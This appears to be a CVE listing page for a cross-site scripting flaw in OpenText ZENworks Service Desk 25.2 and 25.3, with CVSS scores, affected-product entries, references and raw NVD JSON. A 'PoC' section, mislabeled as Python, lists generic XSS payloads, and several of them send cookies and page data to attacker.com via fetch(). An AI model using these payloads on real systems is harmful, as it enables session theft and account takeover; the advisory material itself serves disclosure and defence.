CVE-2026-3278

Description

Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in OpenText™ ZENworks Service Desk allows Cross-Site Scripting (XSS). The vulnerability could allow an attacker to execute arbitrary JavaScript leading to unauthorized actions on behalf of the user.This issue affects ZENworks Service Desk: 25.2, 25.3.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:opentext:zenworks_service_desk:25.2:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:opentext:zenworks_service_desk:25.3:*:*:*:*:*:*:* - VULNERABLE

OpenText ZENworks Service Desk 25.2

OpenText ZENworks Service Desk 25.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-3278 PoC - XSS in OpenText ZENworks Service Desk -->
<!-- Payload for testing - inject in any user input field -->

<!-- Basic XSS payload -->
<script>alert('XSS CVE-2026-3278')</script>

<!-- Image tag onerror XSS -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

<!-- SVG XSS payload -->
<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>

<!-- Event handler XSS -->
<body onload="fetch('https://attacker.com/cookie?c='+document.cookie)">

<!-- Stored XSS via form submission -->
<!-- Submit this payload in ticket title, description, or any text field -->
<scr<script>ipt>alert(document.domain)</scr</script>ipt>

<!-- Automated PoC using fetch API -->
<script>
(function(){
  fetch('https://attacker.com/exfil', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      url: window.location.href,
      referer: document.referrer
    })
  });
})();
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3278
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3278
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3278/
[4] VulDB https://vuldb.com/cve/CVE-2026-3278
[5] https://portal.microfocus.com/s/article/KM000045873?language=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3278", "sourceIdentifier": "[email protected]", "published": "2026-03-18T14:16:40.813", "lastModified": "2026-03-19T14:57:16.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in OpenText™ ZENworks Service Desk allows Cross-Site Scripting (XSS). The vulnerability could allow an attacker to execute arbitrary JavaScript leading to unauthorized actions on behalf of the user.This issue affects ZENworks Service Desk: 25.2, 25.3."}, {"lang": "es", "value": "Neutralización inadecuada de la entrada durante la generación de páginas web ('cross-site scripting') vulnerabilidad en OpenText™ ZENworks Service Desk permite Cross-Site Scripting (XSS). La vulnerabilidad podría permitir a un atacante ejecutar JavaScript arbitrario lo que lleva a acciones no autorizadas en nombre del usuario. Este problema afecta a ZENworks Service Desk: 25.2, 25.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Amber", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentext:zenworks_service_desk:25.2:*:*:*:*:*:*:*", "matchCriteriaId": "C8A2C511-874C-4F0E-A034-FA1C559FF197"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opentext:zenworks_service_desk:25.3:*:*:*:*:*:*:*", "matchCriteriaId": "7DC84A67-5066-4710-85BC-0FCCBB02D37F"}]}]}], "references": [{"url": "https://portal.microfocus.com/s/article/KM000045873?language=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}